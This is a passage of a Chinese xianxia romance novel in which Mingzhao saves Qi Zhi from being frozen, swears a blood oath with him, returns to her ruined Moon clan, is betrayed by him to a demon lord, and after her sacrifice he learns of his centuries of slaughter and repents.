“接下来七日,需静卧吸收……若有异常感觉,及时告知我。”
说完,他竟不再停留,转身再次走向那处裂隙。
明昭看着他消失在光幕后的背影,那句到嘴边的话终究没能问出口。
他表现得无懈可击,可她心中那点异样的感觉,以及模糊中瞥见的那一丝晃动,却如同投入心湖的石子,留下了涟漪。
接下来的七日,明昭严格遵从齐止的嘱咐,静静躺在冰台上。
身体开始有了变化,肌肤上的旧伤痕开始变淡,浑身神清气爽。这是她此前从未体验过的感觉。
第七日傍晚,明昭自觉状态已恢复大半。她试探着,小心翼翼地坐起身。她低头看着自己的双手,曾经因体弱而过于纤细的手指,如今似乎也多了几分力量。
心中那个念头再也压抑不住。
她闭上眼,尝试着,像月族功法中那样,去捕捉游离的灵气。
没有反应。
她的身体对她依旧毫无回应。
不行吗?她不信!
再来!一声极其轻微来自她身体内部的嗡鸣响起。
紧接着,她周身散发出淡紫色的灵波。
灵力!这是……灵力!
明昭猛地睁开眼,瞳孔中仿佛有冰蓝色的微光一闪而逝。
她难以置信地抬起手,指尖微微颤动,一股微弱带着清冽寒意的气息,萦绕其上。
冰窟寂静。寒潭水汽袅袅。
她独自坐在冰台之上,感受着体内那初生稚嫩的灵力向她靠拢,巨大的震惊与狂喜席卷了她,让她几乎要颤抖起来。
而冰窟深处,一直盘膝闭目、面色苍白如纸的齐止,仿佛感应到了什么,眼睫极其轻微地颤动了一下。
如释重负的气息,终于从他始终紧绷的身躯里,悄然逸散。
18. 许下生生世世的诺言
日子在冰窟恒久的寒冷中流逝。
明昭已能熟练地将灵力施展收回,饭不具备杀伤力。只能说明她不再是那个被人讥讽的神女。
好在冰宫里永恒的微光无法区分日夜,明昭觉得日子过得很慢,如果可以她希望可以一直这样慢下去。
月族如今应该默认她死了,但愿新神女可以庇佑月族长宁。
寒潭水面无风自动,漾开不规则的涟漪。
空气中弥漫的灵气变得狂躁而稀薄,时而灼热般刺痛皮肤,时而又抽离得令人窒息。
“冰河异样,是齐止?”
明昭下意识地喊出声,看向那道光幕。
光幕剧烈地波动起来,原本稳定的冰蓝色光芒明灭不定,像是随时会碎裂。
一股远比平日凛冽百倍的寒气从裂隙中汹涌而出。
明昭心中警铃大作,顾不上危险,冲向内里。
她呼吸瞬间停滞,看着齐止依旧保持着盘坐的姿势,但整个人已被一层厚厚的不透明玄冰彻底封住,宛如一尊冰雕。
他的眉峰微蹙,双目紧闭,脸色是一种近乎透明的青白,唇色淡得几乎与肤色融为一体。
更可怕的是,那封住他的玄冰并非静止,像是无数锋刃在流转切割,表面不断增生出狰狞的冰凌。
他怎么了?
明昭脑中一片空白,只剩下这四个字在轰鸣。
她扑到冰封的齐止面前,刺骨的寒意瞬间穿透了她的衣物,让她浑身剧痛,几乎无法呼吸。
“齐止!齐止你听得见吗?”
她徒劳地拍打着冰层,手掌立刻被冻得青紫,冰层却纹丝不动,反而将她的手掌粘住。
她猛地发力挣脱,掌心皮肤被撕扯下一小片,鲜血渗出瞬间冻结。
她能为他做些什么?
慌乱只持续了极短的时间。连日来的修炼和心性磨砺在这一刻发挥了作用。明昭强迫自己冷静下来,后退两步,紧紧盯着那不断增生的冰层。
齐止是碧海天宫的人,能在极寒的环境中生存,内力必定早就适应了。
如今…难道也与内力有关?
没有时间犹豫。
明昭在齐止对面盘膝坐下,闭上眼,全力运转心法。
她将内力缓缓导出,小心翼翼地探向那封住齐止的玄冰。
在她接触的刹那,明昭如遭重击,浑身一颤,嘴角溢出一丝鲜血。
那种能量顺着她的灵力反馈而来,冲击着她的心神。
她咬紧牙关,没有退缩。
想用自己微弱的烛火去融化万载坚冰,艰难得令人绝望。她的灵力飞速消耗,脸色迅速苍白下去,身体开始控制不住地颤抖。
但并非全无效果。那增生冰凌的速度似乎减缓了一分,微微凝滞。
然,杯水车薪。
她的灵力即将耗尽,而那玄冰依旧厚重,齐止的气息在冰封中微弱得几乎难以察觉。
还不够。
她猛然想起月族人可与天、魔两境神识互通。依照古礼,生死同契,以身为桥,以息为引,渡真元。
多的明昭也记不住了,若将自身真元渡给他,尽管微弱也比没有强。
可她还是犹豫了,她身为一介女子,有此行径,实不合礼数。
“我的命都是你救的,这…算我对你的报答。”
明昭睁开眼,眼中闪过决绝。
她挣扎着起身,再次靠近那刺骨的玄冰。这次,而是伸出手,徒劳地想要拥抱那冰封的身影,却只能触碰到坚硬的表面。
她的目光落在齐止淡色的唇上。
没有犹豫,也容不得犹豫。她踮起脚尖,将自己微微颤抖的唇,印在了同样冰冷的轮廓之上。
与此同时,她放弃了所有防御,将体内最后蓬勃的生命血气,毫无保留地输送过去。
这是种给予,是雏鸟对庇护者的反哺,是冰原上唯一两株依偎的植物,试图用自己微弱的生机,去温暖另一株即将冻毙的根系。
“齐止……”
她在心中无声地呐喊,意识逐渐沉入黑暗。
一声轻微却清晰的碎裂声拉回了她游离的思绪。
紧接着如同春河解冻,从她嘴唇所触的那一点开始,蔓延开无数蛛网般的裂痕。
裂痕中透出柔和却坚韧的淡紫色光芒。
冰彻底崩碎,化为漫天晶莹的冰尘,纷纷扬扬落下。
齐止的身体向前倒去。明昭用尽最后力气抱住他,两人一同跌坐在冰冷的玉台上。
她已无力支撑,却仍紧紧环着他,用自己同样冰冷的身体尽可能包裹住他。
齐止身上外溢寒气并未完全消失,但似乎暂时被某种力量束缚住了。
他长长的睫毛颤了颤,缓缓睁开。眼眸深处映出明昭苍白却执拗的脸。
他看到了她冻裂的嘴唇;看到了她青紫的手掌;看到她正笨拙却顽强地试图驱散他神魂深处的酷寒。
他从未与人如此亲近过。
漫长的、独自承受严寒的岁月里,他早已习惯将一切温暖隔绝在外,无论是他人的,还是这世间的。
温暖意味着软弱,意味着可能被伤害。
可此刻,这笨拙的温暖却像一柄钝刀,缓慢而坚定地凿开了他心口某处冻结了不知多少年的坚冰。
很痛,很痒。
他动了动几乎僵硬的指尖,似乎想抬起手,却又无力垂下。
最终,只是缓慢地将下颌轻轻抵在了她单薄的肩头。
冰尘缓缓落定,寒潭的水面不知何时恢复了平静。
月光穿透万丈冰层,被折射、散射成一片朦胧而梦幻的冰蓝色光晕,洒落在相拥的两人身上。
明昭的意识在暖流回流中渐渐复苏。
她感觉到齐止身体不再那么僵硬刺骨,感觉到他极轻的依靠。她睁开眼,望着他。
“月亮……”她喃喃道。
齐止顺着她的方向也缓缓抬起头,望向那轮明月。
他的侧脸在月光下显得异常清晰,也异常苍白,却少了那份孤寂。
“这里好久没出现月亮了。”
他开口,声音沙哑得厉害,却平稳。
明昭的目光落回齐止脸上,那目光复杂难明,似有万语千言,最终却只是化作一句。
“月族传闻,对着明月起誓,誓言将受月神见证,纵轮回亦不可磨灭。”
明昭的心猛地一跳,仿佛预感到了什么。她看着他,没有躲闪,眼中映着月光,也映着他。
她深吸一口气,那仿佛用尽了她此刻全部的力气。
她握住齐止的手,两只冰冷的手交握在一起,却奇异地滋生出一丝微弱的暖意。
她牵着他,缓缓站起,面对那轮巨大的明月。
明昭以指尖划破自己另一只手的掌心,一滴血悬浮于他掌心之上。她看向齐止。
齐止立刻明白了。他毫不犹豫,也划破自己的指尖,一
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滴鲜红的血珠浮现。
在冰寒环境中,这血珠竟未冻结,反而散发着温润的生命气息。
齐止指引着,让两滴血融合。
“月族之女明昭,借明月华泽起誓,此生定不负齐止,若有违背永世不得超生!”
齐止想制止她收回后半句,可话却比他的动作更快一步。
他连忙跟随一句:“齐止亦是。”
誓言一出,那两滴环绕的血珠光芒渐盛,仿佛在呼应。
他转眸,深深看进明昭眼底,那冰封的眸子里,有什么东西彻底融化了。
“从此,你我命运相系,福祸相依。”
“纵使星河倒转,光阴逆流,”明昭毫无迟疑。
“生生世世…”
两人齐声,最后的字眼落下,如同敲定了永恒的契约。
“唯彼此而已。”
话音落下的刹那,明月的光芒骤然强烈,那两滴环绕的血珠猛地一亮,化作两道细小的光芒消失不见。
月华渐渐收敛,冰宫恢复原先的微光。一切似乎未曾改变,又仿佛一切都已不同。
齐止低下头,看着明昭。
这一次,他没有后退。他抬起手,指腹极其轻柔地拂过她唇上冻裂的伤口,那动作珍重得仿佛触碰易碎的梦境。
“疼吗?”
他问,声音低沉。
明昭摇摇头,又点点头。
“疼……但更怕你醒不过来。”
齐止轻轻叹了口气,那叹息中带着无尽的疲惫,也带着尘埃落定的安然。
他将明昭轻轻拥入怀中,或许此刻的安稳并不会太久,所以他贪婪地享受着劫后余生的心定。
“不会了。”
他在她耳边低语,气息拂过她的发丝,惹出一阵瘙痒。
“以后不会再让你一人面对。”
明昭将脸埋在他胸前,听着那沉稳的心跳,感受着那份冰冷的衣衫下逐渐回升的温度。
她知道,誓言已立,明月为证。从此之后,这茫茫荒原不再是囚笼。无尽的寒夜,也有了彼此依偎的暖意。
明昭在齐止怀中静默了许久,直到那心跳声与自己的逐渐同频。
她抬起头泛起一丝遥远的牵挂。
“齐止。”
她的声音很轻带着试探,也带着不容动摇的恳切。
“你说过,身为神女是上天留给我的使命,我的灵力既已初显,月族终究是我的来处。我想…回去看看,一眼就好。”
她感觉环抱着她的手臂微微收紧了一瞬。
齐止没有立刻回答,他只是垂眸看着她,目光沉静地掠过她眼中那簇小小的、却无法被浇灭的火苗。
“我想带你一起回去,若是…”明昭继续道,“继任神女…”
“我陪你。”
她知道此行并非毫无风险。月族圣地,外人难入。
她曾是神女,如今却与碧海天宫之人立下血誓,更为救他几乎耗竭本源。这副模样回去,算什么?叛徒?
齐止的下颌轻轻蹭了蹭她的发顶,那是一个极尽克制却流露安抚的动作。
他望向前方虚空,看到了那片他从未踏足却与她命运相连的皎洁之地。
“无论你想做什么,我都在你身旁。”
明昭心口那点忐忑,忽然就落定了。
她轻轻应和一声,重新将脸埋回他怀中。
归途或许风雪满途,但不再是她一人了。
19. 月族覆灭
冰宫外,风雪不知何时已悄然止息,明昭与齐止踏上了归途。
路途比预想中更为漫长。明昭身体尚未从渡送真元的损耗中完全恢复,灵力运转间不大流畅。
齐止虽破冰而出,旧疾只是暂时压制,并未根除,脸色始终透着冷白。
他沉默地走在明昭身侧,步伐稳定,却将大半心神用于内视调息,同时分出一缕神识,警戒着四周。
越是靠近月族领地,空气中的异样便越是明显。
如今的月族,天空是一种掺了灰烬的暗紫。连沿途本应生机盎然的草地,都呈现出一片萎靡之色。
“不对。”
齐止停下脚步,望向远方地平线上隐约起伏的山峦轮廓。
他的眉头微微蹙起。
“灵气驳杂混乱,是魔族。”
明昭的心一点点沉下去。不详的预感像藤蔓缠绕住胸腔,让她呼吸有些困难。
她加快脚步,几乎是小跑起来,齐止一言不发地跟上。
当他们终于翻过最后一道山脊,看清下方山谷中的景象时,明昭如遭雷击,猛地僵在原地。
原本笼罩整个山谷的巨大结界,此刻布满狰狞的裂痕。
结界之下,昔日整齐雅致的月白宫殿,如今大半沦为废墟。
焦黑的梁柱斜插在地,精美的雕花窗棂碎裂满地,随处可见暗沉发黑、尚未完全清理干净的血迹。
一些尚算完整的房屋前,挂着素白的布幡,在污浊的风中无力飘荡。
稀稀落落的人影在废墟间缓慢移动,如同失去魂魄的躯壳,麻木地搬运着瓦砾或照料着蜷缩在临时棚屋下、低声呻吟的伤者。
死寂。
那是一种哀恸到极致后的麻木与死寂。
“怎么会……”
明昭的声音颤抖得不成样子,她踉跄着向前几步,险些摔倒,被齐止一把扶住。
“看来结界被破了。”
齐止的声音很低,带着一种洞悉的沉重。
“想必是被魔族钻了空子。”
是他。
是他当日为闯入月族带走明昭,强行冲击了月族结界。
他从未料到,魔境一直虎视眈眈,捕捉到了这转瞬即逝的弱点,给予了致命一击。
就在这时,山谷中响起了尖锐的鸣镝声。紧接着,数道身影从残破的建筑和山石后掠出,迅速集结,挡在了他们下山的路前。
这些人身着月族守卫的服饰,但大多衣衫染血,面带疲惫与深深的悲愤。
他们手中的武器对准了明昭和齐止,尤其是齐止,目光中的恨意几乎要化为实质。
“罪女明昭,还不束手就擒!”为首的一名守卫队长厉声喝道,声音沙哑。
明昭强迫自己站稳,压下喉头的哽咽,尽量让声音清晰。
“短短数日,月族怎会变成这般光景!”
人群一阵骚动。更多的月族人从废墟中走出,聚集过来。他们看着明昭,眼神是浓得化不开的怨怼以及落到齐止身上时,那刻骨的仇恨。
“你还活着……你竟然还活着……”
一个苍老颤抖的声音响起。人群分开,几位头发花白、面容憔悴的老者在族人搀扶下走来。他们是月族幸存的长老。
为首的大长老死死盯着明昭,又缓缓移目看向她身旁面容冷峻、气息与月族格格不入的齐止,目光最终落在两人下意识紧紧相牵的手上。
大长老的胸膛剧烈起伏,猛地抬手指向齐止,声音因极致的愤怒而尖利:“是你!就是这个碧海天宫的贼子!当日就是他强行掳走了你!魔境抓住了机会,趁结界最脆弱时大举入侵!!”
他老泪纵横,环视周围惨状,泣血般控诉:“你看看!看看这满目疮痍!看看死去的族人!你凭什么活着!你身为神女,又为何与这造成我族滔天浩劫的仇人携手而归!”
“齐止他当时是为了救我,他和魔族并无牵连,你们该怪的是魔族!”
明昭急急上前一步,试图解释,另一位长老凄声打断。
“若无他,我们月族不会沦落至此。你不仅不庇护族人,反倒替外人说话。呸!什么狗屁神女!”
“就是,狗屁神女!”
这话犹如又一记重锤砸在心头,明昭眼前一黑。千百个声音汇成悲怆的洪流,重重撞击着明昭。
她看着那一张张被悲痛与仇恨扭曲的面孔,看着这片承载了她童年与成长的故土化为焦土。
齐止的手依旧稳稳地扶着她,体温透过相触的布料传来,是她此刻唯一的浮木。
她能感觉到他面对千夫所指,沉默得近乎冷漠。
只有与她交握的指尖,泄露出一丝复杂的微颤。
是愧疚?戒备?还是别的什么?
她不能让他独自承担这一切。这非他本意,这浩劫的根源在于魔族的贪婪与凶残。
明昭深吸一口气,那空气里弥漫的焦土与血腥味让她胃部翻搅。
她猛地挣开齐止的手,向前跨出几步,挡在了他与愤怒的族人之间。这个动作让嘈杂的声浪为之一滞。
她挺直背脊,尽管脸色苍白如纸,身形在废墟的背景中显得单薄。
“够了!”
清叱声并不高亢,却带着一种奇异的穿透力,压下了周遭的混乱。
所有目光再次聚焦在她身上,带着不屑,以及更深沉的怨毒。
“我月族神女明昭。”
她一字一句,声音清晰而坚定,不再是之前的颤抖。“无论你们承认与否,我脉源于此,系于此。月族今日我难辞其咎,此罪,我认。”
大长老死死盯着她,浑浊的老眼眯起。
有族人悲愤嘶喊:“认罪?认罪有何用!死去的族人能复活吗?我们的家还能回来吗?”
“我是不能令死者复生。”
明昭迎向那声音,毫不退避。
“但我既归来,便绝不会弃族人于水火不顾!神女之责,我定遵守,誓死捍卫月族!”
人群再次寂静,许多人眼中流露出震撼与复杂的动摇,除了相信明昭别无他法。
明昭目光扫过众人,最终落回大长老脸上,语气软了下来,带上恳切。
“长老,罪责在我,如何惩处我绝无怨言。但齐止……他当时只为救我性命。破界之过,他确有责任,可真正的仇敌是魔族。请诸位暂且收起对他之兵刃,一切待安定族群后,再行论处,可好?我愿以神女之名,担保他此刻不会对月族有任何不利之举!”
她的话语真诚,甚至带着哀求。她将一切罪责揽上身,试图为齐止劈开一丝喘息之机。
大长老面色变幻不定,似乎在权衡。部分族人看着明昭苍白却坚定的脸,眼中的恨意稍减,取而代之的是一种疲惫的茫然和对神女身份本能的期待。<
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在气氛微妙缓和、众人注意力大多被明昭所吸引的刹那,一直沉默立于明昭身后半步的齐止,动了。
他的动作快得超出了所有人的预料,甚至超出了明昭对他一贯的认知。
齐止并非攻向任何一个月族人。而是袭向明昭的后背。
“齐止……?”
明昭甚至没能完全转回头,只来得及捕捉到余光中他骤然贴近的身影,以及那双熟悉的得不含一丝情绪的眼眸。
她甚至没有升起任何防备的念头,一缕凝练至极的寒气,悄无声息地刺入她后背要穴。
明昭闷哼一声,她难以置信地瞪大眼,身体软软地向后倒去,倒入一个冰冷坚硬的怀抱。
齐止接住了她下滑的身体,手臂如铁箍般将她锁在胸前,另一只手并指如刀,虚悬在她纤细的脖颈前。
他微微垂首,唇几乎贴在她耳边,声音低得只有她能听见,却字字如冰锥。
“别动。”
这一切不过电光石火。月族众人先是愣住,随即爆发出更剧烈的惊怒与哗然!
“贼子!放开神女!”
“果然包藏祸心!明昭你看清他的真面目了吗!”
“杀了他!救回神女!”
大长老气得浑身发抖,指着齐止。
“你……你竟敢!”
齐止对周遭的怒吼与杀意视若无睹,他抬起头,目光却越过了愤怒的月族众人投向废墟深处某个魔气最重的方向。
“看了这么久,炎君也该现身了吧?”
他此言一出,月族众人更是惊怒交加。
明昭被他禁锢在怀中,穴道受制,连说话都困难,只能感觉到他随时能取她性命的杀意。
一阵张狂的大笑骤然从齐止所望的方向传来,魔气轰然爆发,卷起腥风。
废墟残垣之后,黑雾涌动,一个高大的身影踏着魔焰缓缓走出。
来人周身笼罩在浓稠的暗影与血色魔纹之中,面容狰狞,一双赤红的眼睛饶有兴致地扫过全场,最后落在被齐止制住的明昭身上。
他舔了舔嘴唇,声音嘶哑难听:“小子,有点意思。不枉我下了这么大一个局。”
他眯起眼,贪婪地吸了一口气。
“月族的小神女,颇有韵味。”
齐止似乎对他的话并不意外,只是冷冷道:“事我办成了,答应我的,你别忘了!”
“啧,急什么。”
他咧嘴一笑,露出森白利齿。
“答应你的,本君不会忘。”
话音未落,炎君眼中赤芒大盛,一股磅礴凶戾的神识之力,如同无形的血色巨爪,无视了空间距离,猛地向明昭笼罩而去!
齐止制住了明昭的身体灵力,却并未封锁她的识海。
此刻,在炎君的牵引下,她的意识仿佛被强行从躯体中抽离,投入了一片无边无际、翻滚着暗红与深紫雾气的混沌空间。
脚下是龟裂的、流淌着熔岩般暗光的黑色大地。这里充满了暴虐、杀戮与毁灭的意志。
而在这片空间中央,炎君的身影凝聚得更加清晰。
“明昭,别来无恙啊。”
“你到底要做什么,你和齐止究竟有什么交易!”
一切,似乎都开始向着无法预测的深渊滑落。
而这将她拖入深渊的一步,竟始于身后那曾与她立下誓言之人。
21. 是劫亦是缘
百年光阴,于碧海天宫而言,不过弹指一挥间。
天宫云海之巅,战神殿屹立于风中。
殿内陈设极简,唯有一张寒玉榻,一方青玉案,案上常年摆着一张以灵力封存的金纹神弓。
齐止站在殿外的云台边缘,玄色战袍在风中猎猎作响。他俯瞰下方翻涌的云海,赤瞳深处沉淀着百年也未能化开的空寂。
百年了。
自那日一战后,整整一百年。月族山谷的魔气被涤荡一空,幸存的族人茫然四顾,只记得一场突如其来的魔灾被天宫派来的战神平定。
关于明昭的一切,从他们的记忆中被彻底抹去。那些曾与她朝夕相处的族人,那些曾跪拜她的守卫,那些曾受过她恩惠的百姓,无一人再记得“明昭”这个名字。
史册上关于月族神女的记载,悄然变成了“百年前月族神女因天灾陨落,名讳不详”。
天地间,仿佛有一只无形的手,温柔而残忍地擦去了她存在过的所有痕迹。
唯有他记得。唯有这个亲手将她推入深渊,又眼睁睁看着她消散的人,记得一切。
“神君,北境荒原魔气异动,天帝令您三日后率部前往镇压。”
身后传来恭敬的禀报声。
齐止没有回头,只是淡淡道:“知道了。”
百年间,他以九霄摄魄丹反哺的磅礴修为,一路从碧海天宫的罪子杀成了震慑三境的战神。
那些曾鄙夷他出身、排挤他存在的天宫宿老,如今在他面前也要低下高傲的头颅。
以她给予的修为,以她牺牲换来的机会,坐上了这孤绝的云端之位。
可每当他闭上眼睛,识海中翻涌的仍是她在消散前回头对他露出的那个极淡的笑容。
“两不相欠”。
她最后没有说出口的那四个字,成了百年间反复凌迟他神魂的刀。
战神殿深处有一间密室,那是齐止百年间唯一允许自己显露疲惫的地方。
四壁刻满了密密麻麻的符文与阵法推演,地上散落着无数古籍残卷。有些是从禁地偷出的孤本,有些是从上古秘境中拼死带回的残片。
他曾七入幽冥,在忘川之畔枯坐,试图从轮回中寻到一丝她的痕迹,
却只看到空荡荡的往生路。幽冥司主告诉他:“神魂俱灭者,不入轮回。她是以自身为引,了结命魂相融的丹元,那是真正的形神俱散。”
他不信。
他曾闯进北境最危险的混沌裂隙,在时空乱流中搜寻了整整十年,却连她一缕残魂的气息都未曾感应到。
百年间,所有已知的方法都已试遍。
禁术,逆天阵法……甚至不惜以修为尽散为代价,试图从时光长河中打捞她的影子,却只换来天道的反噬,将他的神魂劈得千疮百孔。
可他依然在找。
因为他记得她最后看向他的眼神,那比恨他入骨,更让他痛彻心扉。
长灯师尊的声音,像一滴冰水坠入滚油,在齐止识海中炸开。
“你还要在这梦里,沉溺多久?”
齐止周身翻涌的磅礴神力骤然一滞,云海之巅的战神殿开剥落。
那些玄色战袍上象征无上荣耀的云雷纹寸寸碎裂,露出底下暗红如凝结血垢的实质。风不再清冽,带来的是浓重得化不开的血腥与怨憎的嘶嚎。
他低头,此刻皮肤下蜿蜒着漆黑的魔纹,残留着不知多少生灵干涸的血迹。
手中那张金纹神弓,仍在微微嗡鸣,可那金光之下,缠绕的是无数哀嚎的怨魂之气。
“我……”齐止开口,声音嘶哑破碎,全然不复片刻前那属于战神的清冷威仪。
长灯师尊素白的身影立在崩塌的殿宇中央,周遭一切腐朽、堕落、真实的景象都无法沾染她分毫。
她看着他,眼中没有谴责,只有一种深不见底的悲悯。
“百年?”
她轻轻摇头。
“齐止,自明昭神陨那日算起,至今已过去三百年。这三百余年间,你屠尽魔族后转而吞噬三境,可谓血债累累。”
每一个字,都像烧红的铁钎,狠狠凿进齐止的颅骨。破碎的画面终于冲垮了自欺的堤坝,咆哮着涌入他的意识。
他率领麾下无数被魔化的生灵与怨魂,冲入一个又一个曾经安宁的界域。
他冰冷嘶哑的“杀”字,以及最后被他力量碾过时,戛然而止的死寂。他看见自己站在已成废墟的月族山谷,那里只剩下焦黑的深坑与萦绕不散的灰烬。
他手中握着那张神弓,弓弦上滴滴答答混合了无数种族血液的污浊之物。他在找,疯了般地翻找每一寸土地,撕裂每一个残存的魂魄,搜寻着哪怕一丝一毫与她相似的气息。
“明昭!”记忆中自己的吼声,不是深情呼唤,而是裹挟着滔天魔威的咆哮。
他找到了什么?什么都没有。只有更深的空无化作焚世的业火,将更多的土地、更多的生灵卷入毁灭的漩涡。
“不…不对。”
齐止踉跄后退,赤瞳剧烈颤抖。
“我…我想找到她。我只是要那些害了她的人付出代价!”
“代价?”
长灯的声音依然平静,却带着洞穿一切的力量。
“炎君在与明昭的那场战争中同归于尽,不得轮回。你将怒火倾泻于所有与魔族沾边、甚至只是被你怀疑的存在。月族周围因残余魔气被你夷平,北境十三城因曾有魔族行商路过而被你炼化血海。”
她每说一句,齐止识海中的血色记忆便清晰一分。
“而你麾下的那些,有多少是被你强行魔化的各族俘虏?又有多少是你在杀戮中收集怨魂?以九霄摄魄丹的邪力强行糅合催生出的怪物?”
长灯的目光落在那张神弓上。
“就连这张弓,她留给月族最后的守护也被你以无尽血煞污染,强行炼化为你最狰狞的杀器。”
齐止猛地低头看向神弓。是的,他想起来了。这弓在他手中,从未散发出记忆中那种温柔澄澈的淡紫光华。
每一次拉开,弓弦震颤发出的都是万千怨魂的尖啸。
每一次金光涌现,照亮的是他脚下堆积如山的尸骸。
无法承受的真实化作撕裂神魂的剧痛,齐止抱头跪倒在地,周身不受控制地爆发出恐怖的暗红魔气。
他不再是那个孤高战神的幻影,而是蜷缩在血污与废墟中、浑身魔纹狰狞闪烁、散发着绝望与毁灭气息的魔尊。
三百年的罪业,三百年的疯狂,三百年用无数鲜血涂抹,连自己都骗过了的幻梦。
“为什么……”
他抬起头,赤红的眼中流出的是污浊的血泪。
“为什么要让我记得?我真的成了这样的怪物…求师父,替徒儿指点迷津!”
长灯走近几步,素白的裙裾停在血污边缘。她俯视着他,眼中悲悯愈深。
“这把弓,不仅是她留给月族的,也是她留给你最后的可能。”
齐止的颤抖骤然停止。
“明昭消散前,为师曾见过她。”
长灯缓缓道:“她将自己最后的一缕神魂融入这张弓。”
她伸出手指点向那张嗡鸣不休、却金光晦暗的神弓。
神弓悬浮在半空中,射出耀眼的金光。将齐止代入明昭生前与长灯师尊那段记忆中。
齐止又见到了那张熟悉的脸,他伸手触碰却感知自己近乎虚无。
他只好怯怯费跟在明昭身后。
“晚辈明昭见过长灯师尊。”
“明昭,你身为月族神女,有些事本尊不应插手。可此事触及三境太平,本尊亦想救千万生灵于水火之中。”
长灯的声音很轻,她伸手将明昭最后一缕神识点化。
“你并非天生灵力全无,百年前你为保自己不为情所困,以情魄为印封住你周身灵脉。也封住了你与齐止的前尘往事。”
“谢前辈点化,明昭都记起来了。”
长灯看着她惭愧的神情,继续道:“你与齐止的牵绊早在百年前就已出现,既是天意的安排,亦是你二人的选择。如今,苦果再度出现,你又当如何?”
明昭双膝跪地,朝着长灯叩首。
“百年前,我们二人的因果致使天地动乱。齐止被革去碧海天宫一职,流放北境荒原。而我以情魄为祭,抹去了我与他二人间的记忆。如今…齐止一身修为全在我身
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上,求师尊对齐止网开一面,一切罪责皆由明昭一人承担。”
长灯的身影开始波动,看向明昭决绝的眼神。
“本尊答应你,将齐止修为尽数还给他。保月族基业长青,枉死的生灵复生。但…”
长灯言语一滞。
“本尊要你化做神器守护月族万年,不入轮回作为代价。从此世间无一人再记得你,你可愿意?”
“明昭愿以身护月族万年周全。”
话毕,长灯微微一笑,将明昭重新送回那片神识之中。
画面戛然而止,齐止踉跄后退一步,扶住冰冷的石壁。再次回到长灯面前。
“所以……我从一开始,就注定要伤害她?我们注定…”
“不是注定,是选择。”
长灯摇头。
“因果是契机,如何行路,全凭己心。你本可坦白,与她共同寻找两全之法,可你选了隐瞒,利用。”
她眼中浮现出一丝感慨:“她在最后关头,知晓到了这段因果。她完成了前世未能圆满的抉择,同时,她也以自身消散为代价,将你渡给她的修为。完整地还给了你。至此,因果了结。”
长灯看向脸色惨白的齐止。
“这便是为何天地法则会抹去她的存在。因为她已圆满这段跨越两世的因果,天地自然收回她所有痕迹,让一切回归平衡。而你的执念,是她唯一存在过的证明。”
寂静。密室中只剩下齐止粗重的呼吸声。百年来的疯狂寻找,百年来的绝望挣扎,原来从一开始,她的出现,是为了成全他的完整。
她的消亡,是为了了结前世的夙缘。
她爱上他,是劫。
他爱上她,是债。
而最终,她以最决绝的方式,还清了所有。
“圆满……”
齐止低低笑了起来,笑声嘶哑,赤瞳中却有什么滚烫的东西终于滑落。
“这对我们圆满吗?师尊,她可曾问过我,愿不愿意要这样的圆满?”
长灯沉默片刻,轻声道:“你二人的情爱,天地本无权顾及。可此事波及天地秩序,她选择了护你,也护苍生。那是她的选择,正如你当初的选择一样。”
“难道……再无可能?”
齐止抬起头,眼中燃起最后一丝疯狂的希冀。
“师尊,您既知因果,必知解法。告诉我,如何才能找回她?无论付出什么代价。”
长灯看着他眼中百年未熄的执念,终是叹了口气。
“你二人因果虽了,但缘未绝。她是以自身本源为引消散,按理确已形神俱灭。但天地间有一处,超脱因果轮回,不在法则之内。本尊尚不得知她是否存在于此,亦不知此处的位置。”
她顿了顿,目光凝重:“或许你可以将一切交给时间。”
齐止缓缓站直身体,赤瞳中的疯狂沉淀为一种近乎可怕的平静。
“我会等,无论多久我都愿意等。”
齐止走到青玉案前,伸手握住那张金纹神弓。三百年间,这张弓第一次在他掌心微微震动,发出清越的嗡鸣,仿佛在回应什么。
他低头看着弓身上蜿蜒的战纹,那纹路在此时竟隐隐流动起极淡的、熟悉的淡紫光华。
“数百年了。”
他轻声说,像是对弓说,又像是对那个早已消散的人说。
“我做了太多错事,枉费了你给我这一身修为。”
齐止抬起头,看向长灯,也看向密室之外那片浩瀚无垠的云海。他将全身修为一股气地散到天地之间,算是对他手中沾染的生灵赎罪。
长灯久久注视着他,并未阻拦。最终,缓缓点了点头。
“一切有因皆有果,本尊将你放入净池之中,洗去你一身魔气。待缘到之时,自会相见。”
长灯转身走向殿宇外,素白的道袍在昏暗的光线下划过一道寂寥的弧度。
她对身后的侍女淡淡道:“将神弓送回月族,这是她该履行的使命。”
“这神弓尚未得名,如何称为神器?还请师尊赐名。”
“遂愿。”
一切重归寂静。长灯带着那株充斥着魔气的冰莲,转身望向云海尽头……